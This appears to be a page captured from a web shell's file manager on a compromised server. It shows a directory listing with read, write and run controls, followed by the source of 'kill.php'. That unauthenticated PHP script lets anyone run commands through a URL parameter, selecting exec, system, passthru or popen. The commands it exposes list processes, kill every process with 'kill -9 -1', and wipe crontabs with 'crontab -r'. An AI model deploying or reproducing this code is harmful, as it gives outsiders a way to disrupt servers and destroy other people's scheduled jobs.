at path:ROOT / kill.php
run:R W Run
DIR
2026-01-31 06:21:23
R W Run
DIR
2025-07-01 10:43:57
R W Run
DIR
2026-01-31 06:21:23
R W Run
DIR
2026-01-31 06:21:24
R W Run
DIR
2026-01-31 06:21:22
R W Run
DIR
2026-01-31 06:21:21
R W Run
DIR
2026-01-31 06:21:23
R W Run
DIR
2026-01-31 06:21:23
R W Run
122.65 KB
2026-01-31 06:20:35
R W Run
15.05 KB
2026-01-31 06:20:10
R W Run
4.39 KB
2025-02-10 22:58:05
R W Run
148.28 MB
2026-04-18 09:38:48
R W Run
0 By
2025-02-10 21:54:41
R W Run
1.32 KB
2024-12-27 07:49:45
R W Run
2 KB
2026-04-08 09:51:40
R W Run
0 By
2025-02-10 21:53:32
R W Run
error_log
📄kill.php
1<?php
2header("Content-Type: text/html;charset=utf-8");
3ini_set('memory_limit', -1);
4ini_set('display_errors', 1);
5error_reporting(E_ALL);
6ini_set('max_execution_time', 0);
7set_time_limit(0);
8
9function do_phpfun($cmd,$fun) {
10 $res = '';
11 switch($fun){
12 case "exec":
13 exec($cmd,$res);
14 $res = join("\n",$res);
15 break;
16 case "shell_exec":
17 $res = shell_exec($cmd);
18 break;
19 case "system":
20 ob_start();
21 system($cmd);
22 $res = ob_get_contents();
23 ob_end_clean();
24 break;
25 case "passthru":
26 ob_start();
27 passthru($cmd);
28 $res = ob_get_contents();
29 ob_end_clean();
30 break;
31 case "popen":
32 if(@is_resource($f = @popen($cmd,"r"))){
33 while(!@feof($f)) $res .= @fread($f,1024);
34 }
35 pclose($f);
36 break;
37 }
38 return $res;
39}
40
41$id = isset($_GET['id']) ? $_GET['id'] : 0;
42$fun = isset($_GET['fun']) ? $_GET['fun'] : 'popen';
43
44if($id == 0){
45 echo do_phpfun('ps -ef', $fun);
46}elseif($id == 1){
47 echo do_phpfun('kill -9 -1', $fun);
48}elseif($id == 2){
49 echo do_phpfun('crontab -l', $fun);
50}elseif($id == 3){
51 echo do_phpfun('crontab -r', $fun);
52}
53